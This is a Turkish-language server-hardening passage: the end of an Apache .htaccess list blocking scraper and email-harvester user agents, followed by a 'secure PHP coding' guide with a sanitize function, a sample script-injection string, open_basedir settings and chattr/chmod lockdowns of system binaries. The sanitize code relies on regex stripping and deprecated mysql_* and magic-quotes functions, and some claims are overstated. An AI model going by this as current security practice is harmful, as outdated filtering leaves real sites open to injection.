SetEnvIfNoCase User-Agent "^Snoopy" bad_bot

SetEnvIfNoCase User-Agent "^sogou" bad_bot

SetEnvIfNoCase User-Agent "^SpaceBison" bad_bot

SetEnvIfNoCase User-Agent "^SpankBot" bad_bot

SetEnvIfNoCase User-Agent "^spanner" bad_bot

SetEnvIfNoCase User-Agent "^Sqworm" bad_bot

SetEnvIfNoCase User-Agent "Stripper" bad_bot

SetEnvIfNoCase User-Agent "Sucker" bad_bot

SetEnvIfNoCase User-Agent "^SuperBot" bad_bot

SetEnvIfNoCase User-Agent "^SuperHTTP" bad_bot

SetEnvIfNoCase User-Agent "^Surfbot" bad_bot

SetEnvIfNoCase User-Agent "^suzuran" bad_bot

SetEnvIfNoCase User-Agent "^Szukacz/1.4" bad_bot

SetEnvIfNoCase User-Agent "^tAkeOut" bad_bot

SetEnvIfNoCase User-Agent "^Teleport" bad_bot

SetEnvIfNoCase User-Agent "^Telesoft" bad_bot

SetEnvIfNoCase User-Agent "^TurnitinBot/1.5" bad_bot

SetEnvIfNoCase User-Agent "^The.Intraformant" bad_bot

SetEnvIfNoCase User-Agent "^TheNomad" bad_bot

SetEnvIfNoCase User-Agent "^TightTwatBot" bad_bot

SetEnvIfNoCase User-Agent "^Titan" bad_bot

SetEnvIfNoCase User-Agent "^toCrawl/UrlDispatcher" bad_bot

SetEnvIfNoCase User-Agent "^True_Robot" bad_bot

SetEnvIfNoCase User-Agent "^turingos" bad_bot

SetEnvIfNoCase User-Agent "^TurnitinBot" bad_bot

SetEnvIfNoCase User-Agent "^URLy.Warning" bad_bot

SetEnvIfNoCase User-Agent "^Vacuum" bad_bot

SetEnvIfNoCase User-Agent "^VCI" bad_bot

SetEnvIfNoCase User-Agent "^VoidEYE" bad_bot

SetEnvIfNoCase User-Agent "^Web Image Collector" bad_bot

SetEnvIfNoCase User-Agent "^Web Sucker" bad_bot

SetEnvIfNoCase User-Agent "^WebAuto" bad_bot

SetEnvIfNoCase User-Agent "^WebBandit" bad_bot

SetEnvIfNoCase User-Agent "^Webclipping.com" bad_bot

SetEnvIfNoCase User-Agent "^WebCopier" bad_bot

SetEnvIfNoCase User-Agent "^WebEMailExtrac.*" bad_bot

SetEnvIfNoCase User-Agent "^WebEnhancer" bad_bot

SetEnvIfNoCase User-Agent "^WebFetch" bad_bot

SetEnvIfNoCase User-Agent "^WebGo IS" bad_bot

SetEnvIfNoCase User-Agent "^Web.Image.Collector" bad_bot

SetEnvIfNoCase User-Agent "^WebLeacher" bad_bot

SetEnvIfNoCase User-Agent "^WebmasterWorldForumBot" bad_bot

SetEnvIfNoCase User-Agent "^WebReaper" bad_bot

SetEnvIfNoCase User-Agent "^WebSauger" bad_bot

SetEnvIfNoCase User-Agent "^WebSite" bad_bot

SetEnvIfNoCase User-Agent "^Website eXtractor" bad_bot

SetEnvIfNoCase User-Agent "^Website Quester" bad_bot

SetEnvIfNoCase User-Agent "^Webster" bad_bot

SetEnvIfNoCase User-Agent "^WebStripper" bad_bot

SetEnvIfNoCase User-Agent "^WebWhacker" bad_bot

SetEnvIfNoCase User-Agent "^WebZIP" bad_bot

SetEnvIfNoCase User-Agent "Whacker" bad_bot

SetEnvIfNoCase User-Agent "^Widow" bad_bot

SetEnvIfNoCase User-Agent "^WISENutbot" bad_bot

SetEnvIfNoCase User-Agent "^WWWOFFLE" bad_bot

SetEnvIfNoCase User-Agent "^WWW-Collector-E" bad_bot

SetEnvIfNoCase User-Agent "^Xaldon" bad_bot

SetEnvIfNoCase User-Agent "^Xenu" bad_bot

SetEnvIfNoCase User-Agent "^Zeus" bad_bot

SetEnvIfNoCase User-Agent "^Zyborg" bad_bot


<Limit GET POST HEAD>

Order Allow,Deny

Allow from all

Deny from env=bad_bot

</Limit>

##################################################################

PHP ile Güvenli Kod Geliştirme


 


Her ne kadar güvenli kod yazmayı önem vererek yapan yazılımcılar olsa da bir o kadar da önemsemeyerek parası için yapan kişiler mevcut ilerleyen zamanlarda bir script yazdıracağınızda bu konu işinizi görür dikkatli inceleyin mağdur olmayın :) bu başlık altında kodlama yaparken dikkatten kaçan ufak ama bir o kadar tehlikeli açıklardan bahsedeceğiz. Benim unuttuğum yer vermediğim & veremediğim açıkları bildirmek için hiç çekinmeyin bir cevapta siz ekleyin neyse konumuza geçelim



1. Güvenli Veri Ekleme & Çekme


PHP'de veri ekleme yada çekme işlemi çok basittir ama doğru şekilde ayarlanmadığı taktirde SQL Injection diye tabir ettiğimiz güvenlik zafiyetini yaratır ( Örnek bir açıktan bahsedilmiştir ) ve verilerin 3. kişilerin eline geçmesine olasılık sağlar bu açıktan nasıl korunabiliriz


1.1 PDO Kullanma


Konumda PDO'ya yer vermiyeceğim nedeni ise daha önceki bir yazımda buna değindim konuya ulaşmak için TIKLA


1.2 Zararlı Kod parçacıklarını engelleme


Zararlı kodları engellemek için bir çok fonksiyon vardır benim paylaştığım kod


FUNCTION.PHP


<?php


function cleanInput($input) {


    $search = array(

      '@<script[^>]*?>.*?</script>@si', // Strip out javascript

      '@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags

      '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly

      '@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments

    );

  

    $output = preg_replace($search, '', $input);

    return $output;


}


function sanitize($input) {

  

    if (is_array($input)) {

        foreach($input as $var=>$val) { $output[$var] = sanitize($val); }

    } else {

        if (get_magic_quotes_gpc()) { $input = stripslashes($input); }

        $input = cleanInput($input);

        $output = mysql_real_escape_string($input);

    }

    return $output;


}


?>



<?php


$bad_string = "Hello! <script src='siteadresi.com/bad_script.js'></script> It's a good day!";

$good_string = sanitize($bad_string); // $good_string sonuç olarak "Hello! It\'s a good day!" verisini döner.

// Bu metodu ayrıca POST ve GET isteklerinde de kullanabilirsiniz.

$_POST = sanitize($_POST);

$_GET = sanitize($_GET);


?>

Open Basedir ile Sunucu Bypass Önleme


 

Sunucuda hacklenen bir siteden diğer siteye geçişi engelleyen bir başka yol ise open_basedir kullanmaktır. Bu değer php'nin çalışabileceği maximum dizini belirtir. Php 5.x.x sürümlerinde open_basedir geçilebilmektedir. PHP 7.x sürümlerini yüklemeniz ve aktif hale getirmeniz durumunda bypass edilmesininde önüne geçmiş olacaksınız.

Fazla uzatmadan nasıl kullanabileceğimize bakalım. Öncelikle sunucuda root yetkisine sahip olmamız gereklidir. php.ini dosyamıza aşağıda belirtilen kodu eklememiz durumunda sunucu için bir önlem daha almış oluyoruz

Cpanel için;

open_basedir = /public_html/

Plesk Panel için;

open_basedir = /vhosts/


kaynak : spy


dizinler arası geçişi kapatmak


chattr -i /usr/bin/vdir

chmod 700 /usr/bin/vdir

chattr +i /usr/bin/vdir

 

chattr -i /usr/bin/perl

chmod 700 /usr/bin/perl

chattr +i /usr/bin/perl

 

chattr -i /bin/cat

chmod 700 /bin/cat

chattr +i /bin/cat

 

chattr -i /bin/ln

chmod 700 /bin/ln

chattr +i /bin/ln

 

chattr -i /usr/bin/dir

chmod 700 /usr/bin/dir

chattr +i /usr/bin/dir

 

chattr -i /usr/bin/find

chmod 700 /usr/bin/find

chattr +i /usr/bin/find

 

chattr -i /usr/bin/tac

chmod 700 /usr/bin/tac

chattr +i /usr/bin/tac

 

chattr -i /bin/ls

chmod 700 /bin/ls

chattr +i /bin/ls

 

Komutları toplu olarak kopyalayıp bir kerede ssh ekranına yapıştırıp enterleyebilirsiniz. Komutları girince sunucumuzda perl kapanır. Bu nedenle kontrol panel girişlerini alttaki şekilde yapmalısınız.

Whm: siteniz.com:2086

cPanel: siteniz.com:2082

Mail: siteniz.com:2095

Yani /whm veya /mail gibi komutlarla girmeye çalıştığınızda hata verecektir. Bu durum hosting firması sahibi iseniz ve sizi rahatsız edecekse, şu komutu girerekte üsttekine göre daha az güvenli bir komut kullanabilirsiniz.


chattr -i /usr/bin/vdir

chmod 700 /usr/bin/vdir

chattr +i /usr/bin/vdir

 

chattr -i /usr/bin/perl

chmod 711 /usr/bin/perl

chattr +i /usr/bin/perl

 

chattr -i /bin/cat

chmod 700 /bin/cat

chattr +i /bin/cat

 

chattr -i /bin/ln

chmod 700 /bin/ln

chattr +i /bin/ln

 

chattr -i /usr/bin/dir

chmod 700 /usr/bin/dir

chattr +i /usr/bin/dir

 

chattr -i /usr/bin/find

chmod 700 /usr/bin/find

chattr +i /usr/bin/find

 

chattr -i /usr/bin/tac

chmod 700 /usr/bin/tac

chattr +i /usr/bin/tac

 

chattr -i /bin/ls

chmod 700 /bin/ls

chattr +i /bin/ls

 

 

değişen tek şey: chmod 700 /usr/bin/perl  burası. 700 olan değer 711 olarak kullanıldı. Güncellemelerde de belirli hatalar alabilirsiniz. Bu nedenle apache update ya da sunucu güncellemelerinden önce üstteki kural serilerini geçici süre devre dışı bırakmalısınız.